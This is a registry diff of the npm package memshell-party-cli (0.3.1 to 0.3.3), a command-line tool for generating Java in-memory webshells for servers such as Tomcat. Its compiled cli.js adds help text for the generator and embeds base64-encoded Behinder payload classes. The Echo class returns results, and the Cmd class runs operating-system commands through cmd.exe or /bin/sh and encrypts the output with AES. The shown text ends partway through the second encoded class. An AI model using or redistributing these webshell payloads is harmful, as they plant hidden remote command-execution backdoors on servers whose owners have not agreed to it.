memshell-party-cli 0.3.1 → 0.3.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.en.md +425 -371
- package/README.md +64 -13
- package/dist/cli.js +1379 -199
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +8 -5
- package/dist/index.js +859 -107
- package/dist/index.js.map +1 -1
- package/package.json +2 -1
- package/skills/memshell-party/SKILL.md +38 -9
package/dist/cli.js
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
3
|
// src/cli.ts
|
|
4
|
-
import { Command as
|
|
4
|
+
import { Command as Command9, CommanderError as CommanderError2 } from "commander";
|
|
5
5
|
|
|
6
6
|
// src/api/client.ts
|
|
7
7
|
var ApiError = class extends Error {
|
|
@@ -156,6 +156,15 @@ function logInfo(msg) {
|
|
|
156
156
|
process.stderr.write(`${msg}
|
|
157
157
|
`);
|
|
158
158
|
}
|
|
159
|
+
function reportError(message, argv) {
|
|
160
|
+
if (argv.includes("--json")) {
|
|
161
|
+
process.stdout.write(`${JSON.stringify({ ok: false, error: message })}
|
|
162
|
+
`);
|
|
163
|
+
} else {
|
|
164
|
+
process.stderr.write(`Error: ${message}
|
|
165
|
+
`);
|
|
166
|
+
}
|
|
167
|
+
}
|
|
159
168
|
|
|
160
169
|
// src/commands/config.ts
|
|
161
170
|
function printJsonOrLines(data, json, renderLines) {
|
|
@@ -168,7 +177,16 @@ function printJsonOrLines(data, json, renderLines) {
|
|
|
168
177
|
}
|
|
169
178
|
}
|
|
170
179
|
function registerConfigCommand(program) {
|
|
171
|
-
const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers")
|
|
180
|
+
const config = program.command("config").description("Query supported servers, shell tools, shell types, and packers").addHelpText(
|
|
181
|
+
"after",
|
|
182
|
+
`
|
|
183
|
+
Examples:
|
|
184
|
+
$ memparty config servers # servers + their shell types (values for gen -s)
|
|
185
|
+
$ memparty config tools Tomcat # tools available on one server (values for gen -t)
|
|
186
|
+
$ memparty config packers # packer tree (values for gen -p)
|
|
187
|
+
$ memparty config command # Command-tool encryptors and impl classes
|
|
188
|
+
`
|
|
189
|
+
);
|
|
172
190
|
config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
173
191
|
const client = createClient(cmd.optsWithGlobals());
|
|
174
192
|
const servers = await client.getServers();
|
|
@@ -218,9 +236,11 @@ import { Option } from "commander";
|
|
|
218
236
|
// src/connect/assets.ts
|
|
219
237
|
var ECHO_CLASS_B64 = "yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsAvAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAiAM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADeCwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQKAQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9FY2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1TdGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2JvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAGcmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGlsL0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEVDAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEAEGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMMAGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEudmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIBMwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApnZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRpbC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRvcgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEAB2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsB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";
|
|
220
238
|
var CMD_CLASS_B64 = "yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDfBwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goAJwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEFCAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBGARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgLAMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkHAToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhdGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQvcmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEABXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVzdWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNyeXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9sYW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZhL2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEAB3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1jAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEAE2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACwALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwMAX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdlQ29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNzaW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1JhbmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAMihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA5nZXRFcnJvclN0cmVhbQEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAUoW0IpVgEAC3RvQnl0ZUFycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJY29tcGFyZVRvAQAIZW5kc1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAlzZXRMZW5ndGgBAAQoSSlWAQAHZ2V0TmFtZQEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEAeQAQAAAABwAJAHoAewAAAAkAfAB7AAAACQB9AHsAAAAKAH4